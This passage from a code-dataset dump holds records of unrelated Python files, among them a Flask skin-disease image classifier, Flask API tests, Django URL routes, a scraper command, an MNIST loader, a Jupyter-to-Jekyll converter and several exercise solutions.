observer.join()\n","sub_path":"vnu_automater.py","file_name":"vnu_automater.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"495503408","text":"from flask import Flask, render_template, request\r\nimport os\r\nfrom PIL import Image\r\n\r\nfrom tensorflow.keras.models import load_model\r\nfrom tensorflow.keras.preprocessing import image\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\napp = Flask(__name__)\r\nimage_folder = os.path.join('static', 'images')\r\napp.config[\"UPLOAD_FOLDER\"] = image_folder\r\n\r\ndic = {0: 'acne-and-rosacea', 1: 'atopic-dermatitis', 2: 'eczema', 3: 'herpes-zoster', 4: 'lichen-planus', 5: 'nail-fungus', 6: 'other',7: 'psoriasis',8: 'tinea',9: 'urticaria'}\r\ndic1 = {0: 'static/data/0Mụn trứng cá/dinh nghia.PNG', 1: 'static/data/1Viêm da cơ địa/dinhnghia.PNG',\r\n        2: 'static/data/2Chàm/dinhnghia.PNG', 3: 'static/data/3Zona/dinhnghia.PNG',\r\n        4: 'static/data/4Lichen phẳng/dinhnghia.PNG', 5:'static/data/5Nấm móng/dinhnghia.PNG',\r\n        6: 'static/data/6Bệnh khác/dinhnghia.PNG', 7: 'static/data/7Vảy nến/dinhnghia.PNG',\r\n        8: 'static/data/8Nấm da đầu/dinhnghia.PNG', 9: 'static/data/9Mề đay/dinhnghia.PNG' }\r\n\r\ndic2 = {0: 'static/data/0Mụn trứng cá/tuvan.PNG', 1: 'static/data/1Viêm da cơ địa/tuvan.PNG',\r\n        2: 'static/data/2Chàm/tuvan.PNG', 3: 'static/data/3Zona/tuvan.PNG',\r\n        4: 'static/data/4Lichen phẳng/tuvan.PNG', 5:'static/data/5Nấm móng/tuvan.PNG',\r\n        6: 'static/data/6Bệnh khác/tuvan.PNG', 7: 'static/data/7Vảy nến/tuvan.PNG',\r\n        8: 'static/data/8Nấm da đầu/tuvan.PNG', 9: 'static/data/9Mề đay/tuvan.PNG' }\r\n\r\nmodel = load_model('resnet50.h5')\r\nmodel.make_predict_function()\r\n\r\n@app.route('/', methods=['GET'])\r\ndef home():\r\n  return render_template('AIMed1.html')\r\n\r\n@app.route('/', methods=['POST'])\r\ndef predict():\r\n    # predicting images\r\n    imagefile = request.files['imagefile']\r\n    image_path = 'static/images/' + imagefile.filename\r\n    imagefile.save(image_path)\r\n\r\n    img = image.load_img(image_path, target_size=(224, 224))\r\n    x = image.img_to_array(img)/255.0\r\n    x = np.expand_dims(x, axis=0)\r\n\r\n    classes = model.predict(x)\r\n    result = np.argmax((classes[0]))\r\n    pic = os.path.join(app.config['UPLOAD_FOLDER'], imagefile.filename)\r\n    print(classes[0])\r\n    print(tf.nn.sigmoid(classes[0]))\r\n    print(result)\r\n    print(dic[result])\r\n\r\n    contents = Image.open('{}'.format(dic2[result]))\r\n\r\n    return render_template('AIMed1.html', user_image=pic,\r\n                           prediction_text='{}'.format(dic[result]),\r\n                           definition_image='{}'.format(dic1[result]),\r\n                           advice_image='{}'.format(dic2[result]))\r\n\r\nif __name__ == '__main__':\r\n    app.run()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"212134976","text":"# -*- coding: utf-8 -*-\n\"\"\"Stochastic Gradient Descent\"\"\"\n\nimport numpy as np\nimport os\nimport sys\n\ncwd = os.getcwd()\nsys.path.append(cwd)\n\nfrom costs import *\n\n\ndef compute_stoch_gradient_mse(y, tx, w):\n    \"\"\"Compute a stochastic gradient from just few examples n and their corresponding y_n labels.\"\"\"\n    n, d = tx.shape\n\n    e = y - tx.dot(w)\n\n    return -tx.T.dot(e) / n\n\n\ndef batch_iter(y, tx, batch_size, num_batches=1, shuffle=True):\n    \"\"\"\n    Generate a minibatch iterator for a dataset.\n    Takes as input two iterables (here the output desired values 'y' and the input data 'tx')\n    Outputs an iterator which gives mini-batches of `batch_size` matching elements from `y` and `tx`.\n    Data can be randomly shuffled to avoid ordering in the original data messing with the randomness of the minibatches.\n    Example of use :\n    for minibatch_y, minibatch_tx in batch_iter(y, tx, 32):\n        <DO-SOMETHING>\n    \"\"\"\n    data_size = len(y)\n\n    if shuffle:\n        shuffle_indices = np.random.permutation(np.arange(data_size))\n        shuffled_y = y[shuffle_indices]\n        shuffled_tx = tx[shuffle_indices]\n    else:\n        shuffled_y = y\n        shuffled_tx = tx\n    for batch_num in range(num_batches):\n        start_index = batch_num * batch_size\n        end_index = min((batch_num + 1) * batch_size, data_size)\n        if start_index != end_index:\n            yield shuffled_y[start_index:end_index], shuffled_tx[start_index:end_index]\n\n\ndef stochastic_gradient_descent_mse(y, tx, initial_w, batch_size, max_iters, gamma):\n    \"\"\"Stochastic gradient descent algorithm.\"\"\"\n    n,d = tx.shape\n\n    ws = [initial_w]\n    initial_loss = compute_loss_mse(y, tx, initial_w)\n    losses = [initial_loss]\n\n    w = initial_w\n    n_iter = 0\n\n    for batch_y, batch_tx in batch_iter(y, tx, batch_size, max_iters):\n        # Compute gradient for current batch\n        gradient = compute_stoch_gradient_mse(batch_y, batch_tx, w)\n\n        # Update model parameters\n        w = w - gamma * gradient\n\n        # Compute new loss\n        loss = compute_loss_mse(y, tx, initial_w)\n\n        # Store w and loss\n        ws.append(w)\n        losses.append(loss)\n\n        print(\"Stochastic GD({bi}/{ti}): loss={l}, w0={w0}, w1={w1}\".format(\n              bi=n_iter, ti=max_iters - 1, l=loss, w0=w[0], w1=w[1]))\n\n        n_iter += 1\n\n    return losses, ws","sub_path":"labs/ex02/template/stochastic_gradient_descent.py","file_name":"stochastic_gradient_descent.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"81725380","text":"import wikipedia\nimport re\nimport os\nimport csv\n\nclass Wikipedia:\n\tdef __init__(self):\n\t\tpass\n\n\tdef search(self, query):\n\t\t''' Wikipedia search function '''\n\t\t# try catch faulty queries, or queries resulting in disambiguation errors. \n\t\tprint('Wikipedia search in progress ...')\n\t\ttry: \n\t\t\tobj = wikipedia.page(wikipedia.search(query)[0])\n\t\t\ttext = obj.content\n\t\t\ttext = text.split('. ')\n\t\t\ttext = [[' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \" \", sentence).split())] for sentence in text]\n\t\t\treturn text\n\t\texcept:\n\t\t\tprint('query error - try a more specific query')\n\t\t\tprint('possible that a wikipedia page pertaining to this query does not exist.')\n\t\tprint('Wikipedia search completed \\n')\n\t\treturn text\n\n\tdef buildCsv(self, wikiText, filename):\n\t\tprint('Writing %s ...' % (filename + '_cleaned' + '.csv'))\n\t\tif not os.path.exists('../data/'):\n\t\t\tos.makedirs('../data/')\n\n\t\tif not os.path.exists('../data/' + filename + '_cleaned' + '.csv'):\n\t\t\tf = open('../data/' + filename + '_cleaned' + '.csv', 'w')\n\t\t\tf.close()\n\n\t\twith open('../data/' + filename + '_cleaned' + '.csv', 'w', newline='') as f:\n\t\t\twriter = csv.writer(f)\n\t\t\twriter.writerows(wikiText)\n\t\tprint('%s written to /data \\n' % (filename + '_cleaned' + '.csv'))","sub_path":"src/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"477005048","text":"import sys\nclass Solution(object):\n    def maxProfit(self, k, prices):\n        \"\"\"\n        :type k: int\n        :type prices: List[int]\n        :rtype: int\n        \"\"\"\n        n = len(prices)\n        if k == 0 or n == 0: return 0\n        if k < n / 2:\n            sells = [0] * k\n            holds = [-sys.maxint] * k\n            # print n, k\n            for p in prices:\n                for j in range(k-1,0,-1):\n                    sells[j] = max(sells[j], holds[j] + p)\n                    holds[j] = max(holds[j], sells[j-1] - p)\n                sells[0] = max(sells[0], holds[0] + p)\n                holds[0] = max(holds[0], -p)\n            return sells[-1]\n        else:\n            profit = 0\n            for i in range(1, n):\n                if prices[i] > prices[i-1]:\n                    profit += prices[i] - prices[i-1]\n            return profit\n                \n        \n        ","sub_path":"python/leetcode/state_machine/188_Best_Time_to_Buy_and_Sell_Stock_IV.py","file_name":"188_Best_Time_to_Buy_and_Sell_Stock_IV.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"426133752","text":"from app import createapp\nimport unittest\nimport json\n\nfrom app.api.v1.models.officemodels import OFFICES\n\n\nclass RoutesBaseTest(unittest.TestCase):\n    def setUp(self):\n        self.app = createapp()\n        self.client = self.app.test_client()\n        self.office1 = {\n            \"type\": \"Member of Paliament\",\n            \"name\": \"MP Nairobi\"\n        }\n        self.erroroffice = {\n        }\n    # tear down test\n\n    def tearDown(self):\n        \"\"\"Final cleanup after tests run\"\"\"\n        self.app.testing = False\n\n\nclass TestOfficesEndPoints(RoutesBaseTest):\n\n    def test_view_all_offices(self):\n        response = self.client.get(\"api/v1/offices\")\n        self.assertEqual(response.status_code, 200)\n        result = json.loads(response.data.decode('utf-8'))\n        self.assertEqual(result[\"data\"], [{\n            \"name\": \"dsd\",\n            \"type\": \"trtr\",\n            \"id\": 23\n        }])\n        self.assertEqual(result[\"status\"], 200)\n\n    def test_view_specific_undefined_office(self):\n        response = self.client.get(\"api/v1/offices/12\")\n        result = json.loads(response.data.decode(\"utf-8\"))\n        self.assertEqual(result[\"status\"], 404)\n\n    def test_create_office(self):\n        res = self.client.post(\"api/v1/offices\", data=json.dumps({\n            \"name\": \"dsd\",\n            \"type\": \"trtr\",\n            \"id\": 23\n        }), content_type=\"application/json\")\n        result = json.loads(res.data.decode(\"utf-8\"))\n        self.assertEqual(result[\"status\"], 201)\n        self.assertEqual(result[\"data\"], [{'id': 23, 'name':\n                                           'dsd', 'type': 'trtr'}])\n\n    def test_create_office_with_bad_request(self):\n        res = self.client.post(\"api/v1/offices\", data=json.dumps({\n                               \"name\": \"dsd\",\n                               \"type\": \"trtr\"\n                               }), content_type=\"application/json\")\n        result = json.loads(res.data.decode(\"utf-8\"))\n        self.assertEqual(result[\"status\"], 400)\n        self.assertEqual(result['error'], 'Must provide id, name and type')\n\n    def test_edit_office_not_found(self):\n        response = self.client.get(\"api/v1/offices\")\n        self.assertEqual(response.status_code, 200)\n        result = json.loads(response.data.decode('utf-8'))\n        self.assertEqual(result[\"status\"], 200)\n        self.assertEqual(result[\"data\"], [{'id': 23, 'name':\n                                           'dsd', 'type': 'trtr'}])\n","sub_path":"tests/test_office_routes.py","file_name":"test_office_routes.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"605214437","text":"r\"\"\"Test `lmp.util._dataset._preprocess_wiki_tokens`.\n\nUsage:\n    python -m unittest test.lmp.util._dataset.test_preprocess_wiki_tokens\n\"\"\"\n\n# built-in modules\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport inspect\nimport math\nimport os\nimport unittest\n\n# self-made modules\n\nimport lmp.path\nimport lmp.util\n\n\n# pylint: disable=W0212\nclass TestPreprocessWikiTokens(unittest.TestCase):\n    r\"\"\"Test case of `lmp.util._dataset._preprocess_news_collection`\"\"\"\n\n    def test_signature(self):\n        r\"\"\"Ensure signature consistency.\"\"\"\n        msg = 'Inconsistent method signature.'\n        self.assertEqual(\n            inspect.signature(lmp.util._dataset._preprocess_wiki_tokens),\n            inspect.Signature(\n                parameters=[\n                    inspect.Parameter(\n                        name='split',\n                        kind=inspect.Parameter.POSITIONAL_OR_KEYWORD,\n                        annotation=str,\n                        default=inspect.Parameter.empty\n                    )\n                ],\n                return_annotation=lmp.dataset.LanguageModelDataset\n            ),\n            msg=msg\n        )\n\n    def test_invaild_input_split(self):\n        r\"\"\"Raise exception when input `split` is invalid.\"\"\"\n        msg1 = (\n            'Must raise `TypeError` or `FileNotFoundError` when input `split` '\n            'is invaild.'\n        )\n        msg2 = 'Inconsistent error message.'\n        examples = (\n            False, True, 0, 1, -1, 0.0, 1.0, math.nan, -math.nan, math.inf,\n            -math.inf, 0j, 1j, b'', (), [], {}, set(), object(), lambda x: x,\n            type, None, NotImplemented, ..., 'NotExistFile'\n        )\n\n        for invaild_input in examples:\n            with self.assertRaises(\n                    (FileNotFoundError, TypeError),\n                    msg=msg1\n            ) as ctx_man:\n                lmp.util._dataset._preprocess_wiki_tokens(invaild_input)\n\n            if isinstance(ctx_man.exception, TypeError):\n                self.assertEqual(\n                    ctx_man.exception.args[0],\n                    '`split` must be an instance of `str`.',\n                    msg=msg2\n                )\n            else:\n                file_path = os.path.join(\n                    f'{lmp.path.DATA_PATH}',\n                    f'wiki.{invaild_input}.tokens'\n                )\n                self.assertEqual(\n                    ctx_man.exception.args[0],\n                    f'file {file_path} does not exist.',\n                    msg=msg2\n                )\n\n    def test_return_type(self):\n        r\"\"\"Return `lmp.dataset.LanguageModelDataset`\"\"\"\n        msg = 'Must return `lmp.dataset.LanguageModelDataset`.'\n        split_parameter = ('train', 'valid', 'test')\n\n        for split in split_parameter:\n            dataset = lmp.util._dataset._preprocess_wiki_tokens(split)\n            self.assertIsInstance(\n                dataset,\n                lmp.dataset.LanguageModelDataset,\n                msg=msg\n            )\n# pylint: enable=W0212\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"test/lmp/util/_dataset/test_preprocess_wiki_tokens.py","file_name":"test_preprocess_wiki_tokens.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"459862798","text":"from feeds import Events_Feed, Topics_Feed, Posts_Feed\nfrom django.conf.urls.defaults import patterns, url\n\nevent_patterns = patterns('core.views',\n    url(r'^$', 'event_list', name='event_list'),\n    url(r'^join/?$', 'join_event'),\n    url(r'^checkin$', 'checkin', name='event_checkin'),\n    url(r'^(?P<id>\\d+)$', 'event', name='event'),\n)\n\ntopic_patterns = patterns('core.views',\n    url(r'^$', 'topic_list', name='topic_list'),\n    url(r'^(?P<id>\\d+)$', 'topic', name='topic'),\n    url(r'^new/?$', 'submit_topic', name='submit_new_topic'),\n    url(r'^(?P<id>\\d+)/edit/?$', 'edit_topic', name='edit_topic'),\n    url(r'^(?P<id>\\d+)/vote$', 'vote'),\n    url(r'^(?P<id>\\d+)/votes$', 'votes_for_topic', name='vote_for_topic'),\n)\n\nfeed_patterns = patterns('core.views',\n    url(r'^event/?$', Events_Feed(), name=\"feed_events\"),\n    url(r'^topic/?$', Topics_Feed(), name=\"feed_topics\"),\n    url(r'^post/?$', Posts_Feed(), name=\"feed_posts\"),\n)\n\npost_patterns = patterns('core.views',\n    url(r'^$', 'list_post', name='list_post'),\n    url(r'^(?P<id>\\d+)$', 'view_post', name='view_post'),\n    url(r'^(?P<name>.*)$', 'view_post_by_name', name='view_post_by_name'),\n)\n\nwordpress_redirect_patterns = patterns('core.views',\n    url(r'^(?P<name>.*)$', 'redirect_wordpress_post', name='redirect_wordpress_post'),\n)\n\nabout_patterns = patterns('django.views.generic.simple',\n        url(r'^/?$', 'direct_to_template', {'template': 'core/about.html', 'extra_context':{'tab':'about'}}, name=\"about\"),\n)\n","sub_path":"apps/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"80469178","text":"#sum function definition \n#Output: Sum first element with each element of seq = [0,1, 2, 3, 4] Sum=  10\ndef sum(seq):\n    if not seq:\n        return 0\n    else:\n        return seq[0] + sum(seq[1:])\n\n#Fold Right function definition. if the list seq ist empty the initial value will be init.\n#if list is not empty the funtion output will be: foldr f z (x:xs) = f x (foldr f z xs)\ndef foldr(func, init, seq):\n    if not seq:\n        return init\n    else:\n        return func(seq[0], foldr(func, init, seq[1:]))\n\n#Output Sum using the funktion foldr \ndef sum_with_foldr(seq):\n    return foldr(lambda seqval, acc: seqval + acc, 0, seq)\n\n\n\n#------------------------------ Testing --------------------------------#\n\nimport unittest\n\n\nclass TestFold(unittest.TestCase):\n    def test_sum(self):\n        self.assertEqual(sum([0,1, 2, 3, 4]), 10)\n        self.assertEqual(sum([12]), 12)\n        self.assertEqual(sum([]), 0)\n\n        self.assertEqual(sum_with_foldr([0, 1, 2, 3, 4]), 10)\n        self.assertEqual(sum_with_foldr([12]), 12)\n        self.assertEqual(sum_with_foldr([]), 0)\n\n        \nif __name__ == '__main__':\n    unittest.main()\n\n","sub_path":"fold_implementation.py","file_name":"fold_implementation.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"65548508","text":"import os\nimport re\nimport subprocess\nimport argparse\nimport pathlib\n\nparser = argparse.ArgumentParser()\nparser.add_argument('ipynb_path', type=str)\nargs = parser.parse_args()\n\n\n'''\nInput paths\n'''\nthis_script_dir: str = os.path.abspath(pathlib.Path(__file__).parent.resolve())\nipynb_file_name: str = os.path.basename(args.ipynb_path)\nconfig_script_path: str = os.path.join(this_script_dir, 'nbconvert_config.py')\n'''\nOutput paths\n'''\noutput_abs_dir: str = os.path.abspath(pathlib.Path(args.ipynb_path).parent.resolve()) # '/Users/Desktop/_posts/YYYY-MM-DD-post-name/'\noutput_relative_dir: str = '/'.join(args.ipynb_path.split('/')[:-1]) # '_posts/YYYY-MM-DD-post-name/'\noutput_image_abs_dir: str = os.path.abspath(os.path.join(output_abs_dir, 'markdown_images/')) # '/Users/Desktop/_posts/YYYY-MM-DD-post-name/markdown_images/'\noutput_image_relative_dir: str = os.path.join(output_relative_dir, 'markdown_images/') # '_posts/YYYY-MM-DD-post-name/markdown_images/'\nbase_file_name_with_date_prefix: str = ipynb_file_name.lower().replace(' ', '-').replace('.ipynb', '') # 'YYYY-MM-DD-post-name'\nbase_file_name: str = re.sub(r'^\\d{4}\\-\\d{2}\\-\\d{2}\\-', '', base_file_name_with_date_prefix) # 'YYYY-MM-DD-post-name' => 'post-name'\noutput_markdown_abs_path: str = os.path.join(output_abs_dir, base_file_name + '.md') # '/Users/Desktop/_posts/YYYY-MM-DD-post-name/post-name.md'\njekyll_markdown_abs_path: str = os.path.join(output_abs_dir, base_file_name_with_date_prefix + '.md')  # '/Users/Desktop/_posts/YYYY-MM-DD-post-name/YYYY-MM-DD-post-name.md'\n\nprint(f\"Converting {ipynb_file_name} => {os.path.basename(jekyll_markdown_abs_path)}\")\nsubprocess.run([\"jupyter\", \"nbconvert\", args.ipynb_path, \"--to\", \"markdown\", \"--config\", config_script_path])\n\n# Clean up markdown\nwith open(output_markdown_abs_path, 'r') as fd:\n    md = fd.read()\nmd_clean = md\n\n# HTML cleanup\n#   Remove <style> tags\nmd_clean = re.sub(r'\\<style scoped\\>(.|\\n)*\\<\\/style\\>','', md_clean, flags=re.IGNORECASE)\n#   Remove <axessubplot> tags\nmd_clean = re.sub(r'\\<\\/?axessubplot:.*\\n','', md_clean, flags=re.IGNORECASE)\n#   Avoid \"Tag '{%' was not properly terminated with regexp\" errors\nidxs = [ x.start() for x in re.finditer('{%', md_clean) ] + \\\n        [ x.start() for x in re.finditer('%}', md_clean) ] \n        # [ x.start() for x in re.finditer('}}', md_clean) ] + \\\n        # [ x.start() for x in re.finditer('{{', md_clean) ]\nadded_offset = 0\nfor i in idxs:\n    i += added_offset\n    md_clean = md_clean[:i] + \"{% raw %}\" + md_clean[i:i+2] + \"{% endraw %}\" + md_clean[i + 2:]\n    added_offset += len(\"{% raw %}{% endraw %}\")\nwith open(output_markdown_abs_path, 'w') as fd:\n    fd.write(md_clean)\n\n# Rename .md file to have 'YYYY-MM-DD' prefix that Jekyll expects for all posts\nos.rename(output_markdown_abs_path, jekyll_markdown_abs_path)","sub_path":"_notebooks/jupyter_to_jekyll.py","file_name":"jupyter_to_jekyll.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"580918156","text":"import cPickle\nimport gzip\nimport os.path\nimport sys\n\nimport numpy as np\n\nDATA_DIR     = 'data'\nMNIST_FILE   = 'mnist_digits.pkl.gz'\nCHARS74_FILE = 'chars74.pkl.gz'\n\ndef load_mnist_data():\n    mnist_path = os.path.join(DATA_DIR, MNIST_FILE)\n    with gzip.open(mnist_path, 'rb') as f:\n        training_data, validation_data, test_data = cPickle.load(f)\n\n    return (training_data, validation_data, test_data)\n\ndef load_chars74_data():\n    chars74_path = os.path.join(DATA_DIR, CHARS74_FILE)\n    with gzip.open(chars74_path, 'rb') as f:\n        training_data, validation_data, test_data = cPickle.load(f)\n\n    return (training_data, validation_data, test_data)\n\ndef load_data_wrapper(test, src):\n    tr_d, va_d, te_d = [[], []], [[], []], [[], []]\n\n    if 'nmist' in src:\n        tr, va, te = load_mnist_data()\n\n        tr_d[0].extend(tr[0])\n        tr_d[1].extend(tr[1])\n\n        va_d[0].extend(va[0])\n        va_d[1].extend(va[1])\n\n        te_d[0].extend(te[0])\n        te_d[1].extend(te[1])\n\n    if 'chars74' in src:\n\n        print('source \\'chars74\\' not implemented. exiting')\n        sys.exit()\n\n        tr, va, te = load_chars74_data()\n\n        tr_d[0].extend(tr[0])\n        tr_d[1].extend(tr[1])\n\n        va_d[0].extend(va[0])\n        va_d[1].extend(va[1])\n        \n        te_d[0].extend(te[0])\n        te_d[1].extend(te[1])\n\n    training_inputs = [np.reshape(x, (784, 1)) for x in tr_d[0]]\n    training_results = [vectorized_result(y) for y in tr_d[1]]\n    training_data = zip(training_inputs, training_results)\n\n    validation_inputs = [np.reshape(x, (784, 1)) for x in va_d[0]]\n    validation_data = zip(validation_inputs, va_d[1])\n\n    test_data = None\n    if test:\n        test_inputs = [np.reshape(x, (784, 1)) for x in te_d[0]]\n        test_data = zip(test_inputs, te_d[1])\n\n    return (training_data, validation_data, test_data)\n\ndef vectorized_result(j):\n    e = np.zeros((10, 1))\n    e[j] = 1.0\n    return e\n\nif __name__ == '__main__':\n    load_data_wrapper()","sub_path":"src/dataLoader.py","file_name":"dataLoader.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"115925489","text":"from django.core.management.base import BaseCommand\nfrom .scraper import *\nimport sys\nimport lxml.html\n\n__author__ = 'adrian'\n\n\nclass Command(Scraper, BaseCommand):\n\n    help = \"Scrapes xerocraft.org/profiles.php and creates corresponding accounts on this website, if not already created.\"\n\n    # In any given run, we expect to see the following keys.\n    # If we don't, the website has changed or something else has gone wrong.\n    unseen_keys = [\n        EMAIL_KEY, PHONE_KEY, USERNUM_KEY, USERNAME_KEY,\n        REALNAME_KEY, FIRSTNAME_KEY, LASTNAME_KEY,\n        SINCE_KEY, PARTICIPATION_KEY, ROLE_KEY]\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\n\n    def handle(self, *args, **options):\n\n        if not self.login():\n            # Problem is already logged in self.login\n            return\n\n        page = 1  # IMPORTANT: Set to 1 before commit!\n        while True:\n            post_data = {\"action\": \"ViewMembersList\", \"p\": page}\n            response = self.session.post(ACTION_URL, data=post_data)\n            if response.text.find(\"There are no users to display\") >= 0:\n                return\n\n            page_parsed = lxml.html.fromstring(response.text)\n            if page_parsed is None: raise AssertionError(\"Couldn't parse members page\")\n            user_nums = page_parsed.xpath(\"//div[contains(@class,'member')]/a/@targetmember\")\n            for user_num in user_nums:\n                try:\n                    scraped_user = self.scrape_profile(user_num)\n                    if self.unseen_keys:\n                        for key in scraped_user.scraped_attrs.keys():  # scraped_attrs is added by scrape_profile\n                            if key in self.unseen_keys:\n                                self.unseen_keys.remove(key)\n                except:\n                    # Failure on a particular profile doesn't mean we give up on the rest.\n                    # Just log the error and carry on with the rest.\n                    # REVIEW: Might want to give up if there are \"too many\" errors.\n                    e = sys.exc_info()[0]\n                    self.logger.error(\"Failure while working on profile %s: %s\", user_num, str(e))\n\n            page += 1\n            #if page > 1: break # IMPORTANT: Remove or disable following line before commit!\n\n        self.logout()\n        for key in self.unseen_keys:\n            self.logger.warning(\"Did not encounter '%s' key.\", key)","sub_path":"xerocraft/management/commands/scrapememberlist.py","file_name":"scrapememberlist.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"252628929","text":"from __future__ import print_function\nfrom src.PincherArm import PincherArm\nfrom time import sleep\n\ntry:\n    # set up arm\n    arm = PincherArm()\n    # move arm straight up\n    arm.init_arm()\n    # scan for objects position\n    move_position = [395, 471, 327, 454, 511]\n    # get in scan position\n    for index, position in enumerate(move_position):\n        arm.move_servo(index + 1, position, arm.speed)\n    while True:\n        sleep(1)\nexcept (KeyboardInterrupt, SystemExit):\n    arm.servos.turn_off()\n\n","sub_path":"assets/PhantomX-Pincher-Arm/ArmTest/move_arm.py","file_name":"move_arm.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"49836184","text":"from functools import reduce\ndef init():\n  with open('./day24-input.txt', 'r', encoding='utf-8') as file:\n    input = [line.strip() for line in file.readlines()]\n\n  return input\ntiles = init()\n\ndef print_prettily(tiles):\n  for row in tiles:\n    print(''.join(row))\n# print_prettily(tiles)\n\ndef count_bugs(tile_position, tiles):\n  bug_counter = 0\n  \n  positions_to_count = []\n  if tile_position[0] > 0:\n    positions_to_count.append([tile_position[0]-1, tile_position[1]])\n  if tile_position[0] < len(tiles)-1:\n    positions_to_count.append([tile_position[0]+1, tile_position[1]])\n  if tile_position[1] > 0:\n    positions_to_count.append([tile_position[0], tile_position[1]-1])\n  if tile_position[1] < len(tiles[0])-1:\n    positions_to_count.append([tile_position[0], tile_position[1]+1])\n  # print(positions_to_count)\n\n  for position_to_count in positions_to_count:\n    if tiles[position_to_count[0]][position_to_count[1]] == '#':\n      bug_counter += 1\n  return bug_counter\n\ndef get_next_minute_tiles(tiles):\n  new_tiles = [ [0]*5 for i in range(5)]\n  for row_index, row in enumerate(tiles):\n    for col_index, ele in enumerate(row):\n      if ele == '#':\n        new_tiles[row_index][col_index] = '#' if count_bugs([row_index, col_index], tiles) == 1 else '.'\n      if ele == '.':\n        new_tiles[row_index][col_index] = '#' if count_bugs([row_index, col_index], tiles) == 1 or count_bugs([row_index, col_index], tiles) == 2 else '.'\n  return new_tiles\n# print_prettily(get_next_minute_tiles(tiles))\n\ndef is_identical(tiles_1, tiles_2):\n  for row_index, row in enumerate(tiles_1):\n    for col_index, ele in enumerate(tiles_1):\n      if tiles_1[row_index][col_index] != tiles_2[row_index][col_index]:\n        return False\n  return True\n\ndef get_identical_tiles():\n  is_current_tile_identical = False\n  tiles_versions = [tiles]\n  while is_current_tile_identical == False:\n    next_tiles = get_next_minute_tiles(tiles_versions[-1])\n    tiles_versions.append(next_tiles)\n\n    # print('next tiles:')\n    # print_prettily(next_tiles)\n    \n    for old_tiles in tiles_versions[:-1]:\n      if(is_identical(next_tiles, old_tiles)):\n          is_current_tile_identical = True\n  return tiles_versions[-1]\n# print_prettily(get_identical_tiles())\ndef get_result_a():\n  first_matching_tiles = get_identical_tiles()\n  flattened_tiles = []\n  for row in first_matching_tiles:\n    for ele in row:\n      flattened_tiles.append(ele)\n  print(flattened_tiles)\n  result = reduce(lambda total, index_tile: total + 2**(index_tile[0]) if index_tile[1] =='#' else total, enumerate(flattened_tiles), 0)\n  return result\nprint('result:', get_result_a())","sub_path":"day24.py","file_name":"day24.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"553487011","text":"import random\nimport time\n\nstart_time = time.time()\nanswers = [[], [], [], [], [], [], [], [], [], []]\nfor i in range(10):\n    num1 = 0\n    num2 = 0\n    while num1 <= num2:\n        num1 = random.randint(1, 50)\n        num2 = random.randint(1, 50)\n    print(f'What is {num1} - {num2} ? ')\n    answer = int(input(': '))\n    sub = num1-num2\n    if sub == answer:\n        print(\"You are correct!\")\n        s = 'correct'\n    else:\n        print(\"Your answer is wrong. \")\n        print(f'{num1}-{num2} should be {sub}')\n        s = 'wrong'\n\n    answers[i].append(num1)\n    answers[i].append(num2)\n    answers[i].append(answer)\n    answers[i].append(s)\n\nprint()\nEnd_time = time.time() - start_time\nprint(f'Test time is {End_time} seconds')\nfor i in range(10):\n    print(\n        f'{answers[i][0]} - {answers[i][1]} = {answers[i][2]} {answers[i][3]}')\n        \nprint()\n","sub_path":"QnA.py","file_name":"QnA.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
